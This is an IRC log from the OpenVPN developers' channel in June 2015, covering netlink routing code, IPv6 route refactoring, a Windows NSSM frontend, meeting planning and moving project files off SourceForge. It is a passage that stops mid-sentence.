05:02 <@dazo> (I believe I used this one as a reference) 05:02 <@cron2> thanks, this might be easier to read than the RFC - which is very correct, and very dry 05:02 <@dazo> yeah :) 05:03 <@cron2> I looed at libnl, and while the API is less "dry", it's not *that* much of a simplication for just asking a single question - still quite a bit of stuff to set up first, and in return we get a new dependency... 05:03 <@cron2> So I'll try "raw netlink" first, and if that's too sharp for my fingers, I'll see 05:04 <@dazo> well, libnl3 is the latest incarnation ... and compared to "raw netlink", it is really pleasant to work with ... libnl1 is far more messy 05:05 <@cron2> I think I actually looked at that (on the laptop right now)... if you need the event stuff, definitely, but we don't :) 05:06 <@dazo> cron2: https://git.fedorahosted.org/cgit/python-ethtool.git/tree/python-ethtool/etherinfo.c ... this is for querying for IP addresses, though, using libnl3 05:06 <@vpnHelper> Title: python-ethtool.git - Python module used to extract and edit some Ethernet device information and settings (at git.fedorahosted.org) 05:06 <@cron2> will look... (later, need food now and then catch a bus) 05:06 <@dazo> together with: https://git.fedorahosted.org/cgit/python-ethtool.git/tree/python-ethtool/netlink-address.c and https://git.fedorahosted.org/cgit/python-ethtool.git/tree/python-ethtool/netlink.c 05:06 <@vpnHelper> Title: python-ethtool.git - Python module used to extract and edit some Ethernet device information and settings (at git.fedorahosted.org) 05:09 <@dazo> (If you start at get_etherinfo_address() in the first URL, you'll find the other pieces more nicely) 06:48 <@ecrist> the message on security@ is interesting 06:49 <@ecrist> and, likely, one of but a handful of messages to that email list that actually is on-topic 07:11 <@cron2> ecrist: indeed 07:18 <@cron2> oh, cool, freebsd port bumped to 201523 (yesterday already but I did not notice) 07:46 <@syzzer> ecrist: ... but then this guy actually decided *not* to use security@ originally :') 08:19 <@cron2> this openvpn thingie never really convinced me... but right now, driving in a bus that gives me free wifi with a new external IP (jumping to new UMTS base or what do I know) ever few minutes, this is *REALLY* handy... 08:19 <@cron2> Jun 17 15:16:19 boyle2 openvpn[84390]: peer 1 floated from ::ffff:80.187.106.213 to [AF_INET6]::ffff:109.43.86.150:60065 08:19 <@cron2> \o/ 09:24 <@plaisthos> :) 10:32 <@cron2> ... and OpenVPN handshake is waaay too slow on a 200ms mobile link... 10:32 <@cron2> it is on my TODO list... 10:32 <@cron2> dazo: remember the big james route patch fallout? 10:32 <@dazo> cron2: I "remember" ... but I don't remember the exact patch 10:33 <@cron2> he refactored about "all" the structs in route.h, affecting huge amounts of code and there were more than just a few conflicts 10:33 <@dazo> right 10:34 <@cron2> I'm fighting this now again - all the ipv6 related structures were "lookalike" copies of the ipv4 stuff *before* the refactoring. Now, they are just totally different, and before I start adding proper route_gateway_ipv6 support, I'll have to do the refactoring for IPv6 first... 10:34 <@dazo> eeww 10:35 <@cron2> either that, or live with totally different approaches to things like "do we have a metric set?" (old: dedicated bool, new: flag bit in route_list->spec.flags) 10:36 <@cron2> eeww indeed, should have followed suit back then 10:43 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 12:03 <@vpnHelper> RSS Update - tickets: #565: OpenVPN caused kernel panic on Mac OS X 10.10.3 <https://community.openvpn.net/openvpn/ticket/565> 12:19 <@ecrist> :) 12:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:45 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 15:45 -!- dazo is now known as dazo_afk 15:46 <@syzzer> whah, test output right from my build slaves \o/ 15:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:53 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 16:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 18:40 -!- FlorianBd [~FlorianBd@florianbador.com] has joined #openvpn-devel --- Day changed Thu Jun 18 2015 01:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 03:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:53 <@cron2> syzzer: always at your service :-) 04:44 <@mattock1> d12fk: I sent you a few Makefile patches for openvpn-gui 04:56 -!- dazo_afk is now known as dazo 04:58 <@mattock1> pekster: sent you some openvpn-build patches for review 09:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 09:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:56 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:15 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 12:49 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 12:49 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 13:57 -!- FlorianBd [~FlorianBd@florianbador.com] has quit [Ping timeout: 255 seconds] 14:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 14:24 -!- FlorianBd [~FlorianBd@florianbador.com] has joined #openvpn-devel 14:38 -!- FlorianBd [~FlorianBd@florianbador.com] has quit [Remote host closed the connection] 14:39 -!- FlorianBd [~FlorianBd@florianbador.com] has joined #openvpn-devel 16:34 <@cron2> mattock: why are the builds I90x now? I thought tap6 is I60x? 16:34 <@cron2> or is this just testing? 17:28 <@pekster> mattock: I'll poke at them: should be a good excuse to get my buildhost online on my lab again.. 17:55 -!- Netsplit *.net <-> *.split quits: @mattock 18:05 -!- Netsplit over, joins: @mattock 18:06 -!- dazo is now known as dazo_afk --- Day changed Fri Jun 19 2015 01:28 -!- diytto [~diytto@2a01:4f8:162:124::2] has left #openvpn-devel ["o/"] 02:18 -!- dazo_afk is now known as dazo 04:18 <@cron2> doodle already nicely filled... 04:18 <@cron2> mattoch: can you check with James? 04:19 <@cron2> mattock even 04:53 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 05:01 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 05:17 -!- dazo is now known as dazo_afk 06:11 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: foo!] 06:39 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:39 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:45 -!- floppym_ [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 10:47 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 10:47 -!- floppym_ is now known as floppym 11:22 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 11:24 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 11:47 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 12:01 <@d12fk> cron2: is there a reason redirect-gateway doesn't redirect the ipv6 default route? or should there be a separate option for that? 12:12 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 12:17 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 12:45 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 13:12 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:59 <@cron2> d12fk: the whole gateway handling for IPv6 is slightly incomplete 14:59 <@cron2> you can redirect the gateway by pushing route-ipv6 2000::/3 - but if you do openvpn-over-IPv6 and then push a default route, it will recurse and fail 15:46 <@pekster> Closest you can get today is a client-side --route-up script that adds a /128 route to the IP determined to belong to the remote 15:46 <@pekster> Although I suppose the "redirect all my traffic" masses want it to magically work everywhere :\ 17:59 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 21:00 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 21:14 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 21:21 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 22:09 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 22:11 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 22:23 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 265 seconds] 22:29 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Sat Jun 20 2015 02:47 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 02:48 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 14:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:39 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Log closed Sat Jun 20 15:08:23 2015 --- Log opened Mon Jun 22 11:57:35 2015 11:57 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 11:57 -!- Irssi: #openvpn-devel: Total of 21 nicks [8 ops, 0 halfops, 1 voices, 12 normal] 11:57 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 11:57 -!- Irssi: Join to #openvpn-devel was synced in 6 secs 12:44 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 244 seconds] 13:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:45 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:55 -!- Guest30394_c [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 16:25 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 272 seconds] 16:34 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 16:40 -!- Guest30394_c is now known as s7r 18:49 <@ecrist> dazo, cron2: either of you around? 19:10 -!- dazo is now known as dazo_afk --- Day changed Tue Jun 23 2015 00:41 <@cron2> wassup? 01:29 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:29 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 02:48 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 265 seconds] 02:49 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:26 -!- dazo_afk is now known as dazo 10:26 <@cron2> syzzer: trying to understand the FD_SET case, and that's all magic :-) - do we actually *use* select(), or will it go for epoll/poll? 10:27 <@cron2> but I do not think he has a point there... 10:28 <@cron2> he talks about "the event number" being FD_SETSIZE checked, but that very event number is used in FD_SET() - so it *is* the file descriptor which is relevant here 10:36 <@plaisthos> cron2: I also tried to wrap my head around that 10:36 <@plaisthos> we normally use epoll/poll but can fallback to select 10:37 <@cron2> but as far as I can see the code is perfectly fine. Might be slightly hard to grok, but safe. Wouldn't call it "sane" :) 10:38 <@cron2> do I want to know what man->connection.sd_top and man->connection.sd_cli are? 10:40 <@plaisthos> top is iirc the listening socket and cli is the currently connected client socket 10:41 <@cron2> ic 14:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:12 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 14:33 <@cron2> plaisthos: socket_listen_accept() is only ever used in peer-to-peer tcp-server mode, right? 14:33 <@cron2> it's sort of "listen(), select(), accept()" but without any event loop... 20:24 -!- dazo is now known as dazo_afk --- Day changed Wed Jun 24 2015 00:54 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:54 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:50 <@cron2> is this a live mattock? 01:52 <@mattock1> I'm constantly live 01:52 <@mattock1> until I'm not 01:53 <@cron2> well, with the new regime (mattock, mattock1, mattock2, ...) it's a bit hard to figure out when you're actually here, or not... "mattock vs. mattock_afk" was easier :-) 01:53 <@mattock1> :D 01:53 <@mattock1> well, I have two laptops and occasionally use IRC on my phone 01:53 <@mattock1> hence so many mattocks 01:53 <@cron2> anyway - what I wanted to ask you - could you check with James whether he can come to Delft, and if yes, which weekends? Because besides James and dazo, all other "core devs" have already doodled 01:53 <@mattock1> ok, I'll shoot him an email 01:54 <@mattock1> if things go like normal, we won't know if he's even coming until like 5 days before 01:54 <@mattock1> but I'll try to squeeze a response 01:54 <@cron2> yeah :) 02:27 <@mattock1> ok, mail away 02:27 * cron2 totally looks forward to Delft, but wants the date fixed as soon as possiblem so I can arrange with grandparents... 02:27 <@cron2> they tend to go on vacation a LOT now... so weekends have to be blocked :-) 02:50 <@mattock1> next monday's topics: https://community.openvpn.net/openvpn/wiki/Topics-2015-06-29 02:50 <@vpnHelper> Title: Topics-2015-06-29 – OpenVPN Community (at community.openvpn.net) 02:57 <@cron2> quite a bit of work 03:10 <@mattock1> I'll do some research on the NSSM thing 03:44 <@cron2> ""NSSM looks like a reasonable replacement for nssm.exe" :-) 04:44 <@mattock1> urgh 04:44 <@mattock1> maybe I'll fix that one :P 04:45 <@mattock1> what ticket was it? 04:45 <@mattock1> found it 04:45 <@mattock1> fixed 06:03 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:04 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 06:25 <@plaisthos> cron2: lemme check 06:26 <@plaisthos> yeah it is definitevly not the normal tcp multi server accept path 07:04 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 08:05 <@vpnHelper> RSS Update - tickets: #566: upon reconnect, OpenVPN removes routes it did not create <https://community.openvpn.net/openvpn/ticket/566> 09:37 <@mattock1> I fear I may have to learn Windows GUI programming using C#, Visual Studio and Winforms 09:39 <@mattock1> basically to build a openvpn-specific NSSM configuration frontend which is easy enough to use for "normal" users 09:41 <@mattock1> other alternatives are IronPython which compiles into CIL, JScript (MS version of Javascript), JScript .NET (JScript compiled into CIL), and batch scripts 09:42 <@mattock1> JScript is more geared towards IE / web development, and filesystem access seems tied to ActiveX components 09:43 <@mattock1> Python can be converted to CIL, which the .NET CLR can then execute, but I'm not sure if the "bytecode" version of the application is portable enough 09:43 <@mattock1> we definitely can't bundle anything huge in OpenVPN installers just for configuring NSSM 09:44 <@mattock1> so that leaves batch files and the various .NET languages, primarily C# which is quite Java-like 09:44 <@mattock1> Powershell would work fine, but writing a GUI for it seems pretty hairy, and it was not included by default until Windows 7 I believe 09:46 <@mattock1> anyways, the good thing is that writing the C# GUI program could handle several tasks fairly easily: 09:46 <@mattock1> - NSSM configuration ("ensure checked OpenVPN connections are always on") 09:46 <@mattock1> - openvpnserv.exe configuration ("enable/disable openvpnserv.exe") 09:46 <@mattock1> - tap-windows configuration ("add/remove tap adapters") 10:07 <@cron2> have fun :) 10:07 <@mattock1> lol yeah 10:07 <@mattock1> I definitely did not see this coming 10:07 <@mattock1> I'll send an email to openvpn-devel explaining this and asking if people have any other suggestions 10:08 <@mattock1> before I commit myself to becoming a Windows developer like d12fk :P 10:10 <@cron2> I was about to suggest you take over openvpn-gui if d12fk continues to be as busy as in the last years 10:10 * cron2 runs 10:11 <@mattock1> lol 10:11 <@mattock1> yeah, if I need to go C#, why not go directly to C 10:11 <@cron2> (actually I *have* to run - $daughter turns 3 tomorrow, have to bake cakes) 10:11 <@mattock1> have fun! 10:41 -!- FlorianBd [~FlorianBd@florianbador.com] has quit [Ping timeout: 255 seconds] 11:01 <@mattock1> uh, a mega-mail 11:01 -!- FlorianBd [~FlorianBd@florianbador.com] has joined #openvpn-devel 11:01 <@mattock1> enough work for today 11:01 -!- dazo_afk is now known as dazo 12:04 -!- mator [~mator@u163.east.ru] has left #openvpn-devel [] 14:56 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 244 seconds] 16:03 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 20:10 -!- dazo is now known as dazo_afk --- Day changed Thu Jun 25 2015 01:00 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 01:28 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 01:38 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 01:57 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:49 -!- moezroy [~qq@d75-157-23-146.bchsia.telus.net] has joined #openvpn-devel 02:55 < moezroy> I believe the man page is wrong with regards to dev-tap. It says the 2 adapters need to be manually bridged but I am able create a vpn tunnel without doing this. 02:56 <@cron2> if you use tap without bridging, you don't actually *need* tap, and tun would better suit you 02:56 <@cron2> (less transmission overhead, less complications) 03:03 < moezroy> cron2, thank you. going to try and see if I can dev-tun for accessing windows shares. 03:25 <@cron2> sure you can - just make sure you have a WINS server configured, and the routing is right 03:26 <@cron2> dev-tap *with bridging* will give you "automatic network visibility" (on the plus side) but lots of extra chatter on the VPN (downside), and without bridging, it will need the same steps (WINS server, routing) as tun 04:28 < moezroy> cron2, Thanks for the WINS server tip. With regards to bridging, does the server require 2 physical NICs? i.e. 1 nic will be connected *bridged* with the OpenVPN tap adapter. and another which is not bridged? Because I noticed all the pings start to fail once you bridge it. 04:29 -!- dazo_afk is now known as dazo 05:38 -!- moezroy [~qq@d75-157-23-146.bchsia.telus.net] has quit [Quit: Leaving] 10:06 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 10:27 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 10:27 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 14:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 18:47 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 18:51 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 19:27 -!- dazo is now known as dazo_afk 20:17 -!- moezroy [~qq@d75-157-23-146.bchsia.telus.net] has joined #openvpn-devel 23:23 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 255 seconds] --- Day changed Fri Jun 26 2015 01:15 < moezroy> cron2, any way to make win7 a WINS server? 01:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:32 -!- FlorianBd [~FlorianBd@florianbador.com] has quit [Ping timeout: 255 seconds] 02:20 <@cron2> moezroy: I think it automatically is (if file and print sharing is enabled) 03:21 < moezroy> cron2, thanks again. going to continue debugging this tomorrow or on the weekend. ;) 03:43 -!- moezroy [~qq@d75-157-23-146.bchsia.telus.net] has quit [Quit: Leaving] 04:17 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 04:36 -!- dazo_afk is now known as dazo 05:17 <@dazo> cron2: feel free to kick this guy over to #openvpn ... 06:08 <@cron2> dazo: oh, while at it :-) - feel poked about the doodle... even James has filled it now :-) 06:27 <@dazo> cron2: yeah, I know ... figuring out our plans with my wife 06:44 <@cron2> dazo: now that's easy :-) "fly to .nl and have a great weekend" 06:50 <@dazo> hehe 06:50 <@dazo> My wife is generally positive to me joining, but need to see if it collides with all of our other plans :) 06:51 <@dazo> (she's not too keen on bringing our daughter on yet another trip this year ... we're having loads of traveling already) 06:52 <@cron2> didn't know you have kids :) 06:52 <@cron2> so, any grandmas available? 06:52 <@dazo> oh, she's 5 months already 06:53 <@cron2> ohoh! congratulations, then! you *could* have said a word :-) 06:53 <@dazo> that's why I've been avail/reachable at various odd times :) 06:53 <@cron2> (and that certainly has priority before stupid computer stuff) 06:53 <@dazo> I thought I had told you guys .... it's been so many places we've shared the news .... so I've lost overview 06:54 <@cron2> well, I didn't know, but anyway, welcome to this new adventure game :-) 06:54 <@dazo> thx! :) 06:54 <@cron2> so small kids are complicated, though, as far as travelling or "leave with grandma for <x> days" are... 06:55 <@cron2> I intend to leave mine with grandma and have Simone come along - but then, they are 3y and 5y now, so this is fairly easily done (unless grandma is travelling herself) 06:55 <@dazo> we have a bigger challenge there ... my mother is 77 and my wife's parent live 2000km away from us .... so we "failed" on that part of the planning :-p 06:56 <@cron2> yeah, modern life sucks a bit on the part of "have a proper large family around" 06:56 <@dazo> yeah :) 07:00 <@cron2> family + work + open source + "enough sleep" make a fairly complicated scheduling challenge 07:00 <@dazo> oh yeah :) 07:01 <@dazo> luckily work+open source overlap quite a bit ... so I can "steal" some work hours for openvpn every now and then :) 09:32 <@mattock1> remember the meeting next monday! 09:32 <@mattock1> :) 09:33 <@mattock1> I'll send a reminder on Monday also 09:33 * cron2 remembers 12:09 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 15:15 <@cron2> this system is a mess here... 4 openvpn processes running at the same time... and I wonder why tun0...tun3 are all "up" and have ip config... 15:20 <@vpnHelper> RSS Update - gitrepo: Del ipv6 addr on close of linux tun interface <https://github.com/OpenVPN/openvpn/commit/e5f71d674e3b119d6a252d7cef1c17b5c2b36a9a> 16:37 -!- dazo is now known as dazo_afk 17:05 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 17:09 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 18:41 -!- FlorianBd [~FlorianBd@servail.com] has joined #openvpn-devel 23:30 -!- FlorianBd [~FlorianBd@servail.com] has quit [Ping timeout: 255 seconds] 23:44 -!- FlorianBd [~FlorianBd@servail.com] has joined #openvpn-devel --- Day changed Sat Jun 27 2015 00:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:55 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:24 <@cron2> mattock1: what about #395...? This should be done, but I think you wanted to open a followup ticket, or something? 01:24 <@cron2> it's the only one left in "milestone 2.3.7"... 03:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 03:57 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 12:47 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 12:56 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 15:12 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 15:16 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 19:44 <@vpnHelper> RSS Update - tickets: #567: OpenVPN fails with no log output when config file is empty or (sometimes) has a non-whitespace syntax error <https://community.openvpn.net/openvpn/ticket/567> --- Day changed Sun Jun 28 2015 10:42 <@syzzer> oh, congrats dazo! 10:56 <@cron2> dazo, btw - the lwn article about netlink is not bad, but only covers the very basics (*and* is too complicated :) ) - but I've found something which actually got me a lot further, with simpler code... http://www.virtualbox.org/svn/vbox/trunk/src/VBox/NetworkServices/NAT/rtmon_linux.c 10:56 <@cron2> and when I remove all the "print this, print that" to understand how it works, it should be down to ~30-40 lines of code - not worth inclusion of an extra library dependency 11:12 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 12:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 18:39 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 18:41 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 20:23 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 20:23 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 22:58 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 248 seconds] --- Day changed Mon Jun 29 2015 01:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:25 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 02:57 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:57 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 03:12 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:43 -!- esde [~esde@openvpn/user/esde] has quit [Ping timeout: 252 seconds] 04:46 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 05:05 <@vpnHelper> RSS Update - tickets: #568: embedded certificates need to be at the end of the config file <https://community.openvpn.net/openvpn/ticket/568> 07:09 <@vpnHelper> RSS Update - tickets: #568: make parser more robust in the face of corrupt/missing tags for inline stuff <https://community.openvpn.net/openvpn/ticket/568> 07:50 <@plaisthos> I forgot closes 568 in my patch 07:54 <@cron2> whee, that was fast 07:55 <@cron2> (I can't even see the mail yet, hanging in greylisting somewhere) 07:59 <@plaisthos> as always :) 07:59 <@plaisthos> cron2: it was fairly trivial patch 08:00 <@plaisthos> +3 lines or so 08:21 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 08:22 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 09:57 <@cron2> plaisthos: simple enough, *iff* you know which bit of that magic box to touch :-) - I'll ACK and merge tonight, thanks. 10:30 -!- FlorianBd [~FlorianBd@servail.com] has quit [Remote host closed the connection] 10:42 -!- FlorianBd [~FlorianBd@servail.com] has joined #openvpn-devel 10:52 <@plaisthos> cron2: hehe 12:59 <@mattock1> meeting time 12:59 * cron2 hides 13:00 <@mattock1> that it, then, meeting over :P 13:00 <@cron2> cool 13:00 * cron2 goes watch TV 13:00 <@syzzer> hi! 13:00 <@syzzer> bye 13:00 <@mattock1> bye guys, good meeting! 13:01 <@mattock1> oh, we forgot to cover these topics: https://community.openvpn.net/openvpn/wiki/Topics-2015-06-29 13:01 <@vpnHelper> Title: Topics-2015-06-29 – OpenVPN Community (at community.openvpn.net) 13:01 <@mattock1> so we have cron2 and syzzer here 13:01 <@mattock1> who else? 13:03 * cron2 sees a number of mattocks 13:04 <@mattock1> yes, the other one won't be of much help 13:04 <@mattock1> shall we cover the discussion topics (2 and 3) first? 13:04 <@syzzer> fine by me 13:05 <@mattock1> #2 is mostly about "does anyone get offended of a HTML app bundled with OpenVPN Windows installer?" 13:05 * cron2 now understands why so much commercial software uses html frontends :) 13:05 <@cron2> works for me... 13:05 <@mattock1> the alternatives look pretty grim, and writing HTML + Javascript/VBScript apps seems the de facto standard on Windows 13:06 <@mattock1> ok, good 13:06 <@mattock1> I'll do a PoC in the next few weeks 13:06 * cron2 has *no* idea how to do that and would likely go fight c#, but then, my C is better than my JavaScript :) 13:06 <@syzzer> yes, no compliants 13:07 <@cron2> and I will look very interested at what you'll produce - always willing to learn 13:07 <@mattock1> I've never written Javascript but it seems pretty straighforward 13:07 <@cron2> *sigh* gmane broken, I can't get an URL for plaisthos' bugfix 13:07 <@mattock1> I've never written C# either so I'd gain nothing there, plus I'd need to learn Windows GUI programming :| 13:07 <@mattock1> yeah, gmane has sucked quite a bit lately 13:08 <@mattock1> anyways, topic #3 is "SourceForge's modifications of project files" 13:08 <@mattock1> I assume you've heard of this 13:08 <@syzzer> yes, sucks. time to leave sf 13:08 <@cron2> we've briefly discussed this here 1-2 weeks ago, I think while you were sailing 13:08 <@mattock1> ah 13:08 <@mattock1> so what do you think? 13:09 <@mattock1> the only real problem in leaving SF.net are the mailing lists 13:09 <@cron2> dazo and I were more opinioned of "just leave the stuff where it is for now", as there is nothing crucial there - like, no windows installers they could mess with, and the git repo is also at github 13:09 <@mattock1> there are some really old openvpn tarballs I believe 13:10 <@cron2> we could move the lists elsewhere, but halfway reasonable list anti-spamming is *WORK*. 13:10 <@syzzer> I agree there is no need to leave in a rush 13:10 <@mattock1> yeah 13:10 <@mattock1> what I could do is disable the "Files" feature in the project 13:10 <@cron2> that makes sense, we have no files there anymore 13:10 <@mattock1> the "latest" file in there is openvpn 1.6.3 rpm 13:10 <@cron2> lol 13:10 <@cron2> what century was that released? 13:11 <@mattock1> probably in the late Middle Ages 13:11 <@mattock1> actually there are quite a few files there: https://sourceforge.net/projects/openvpn/files/OldFiles/ 13:11 <@vpnHelper> Title: OpenVPN - Browse /OldFiles at SourceForge.net (at sourceforge.net) 13:11 <@mattock1> including Windows installers which SF.net could pollute 13:12 <@cron2> there actually is a 2.0_beta1 13:12 <@syzzer> oh, wow! 13:13 <@syzzer> right around the time of 'git epoch' 13:13 <@cron2> wow indeed, 1.0.tar.gz 13:13 <@cron2> 2002-03-24 13:13 <@cron2> mattock: I hope you have copies of that stuff? I think these need to be preserved in the company museum 13:14 <@syzzer> so, back-up all files and see if they can be removed from sf? 13:14 <@syzzer> they are still generating downloads: http://sourceforge.net/projects/openvpn/files/OldFiles/openvpn-2.0_rc18-install.exe/stats/timeline 13:14 <@vpnHelper> Title: Download Statistics: OldFiles/openvpn-2.0_rc18-install.exe (at sourceforge.net) 13:15 <@mattock1> I'll check if we have those somewhere else 13:15 <@mattock1> wow, 20-40 downloads a day 13:15 <@cron2> the fact that people are still downloading them is a bad sign, so they are not finding the new stuff -> away with it (and maybe have the very latest .tar.gz + signature only?) 13:15 <@syzzer> yes, and that's not just 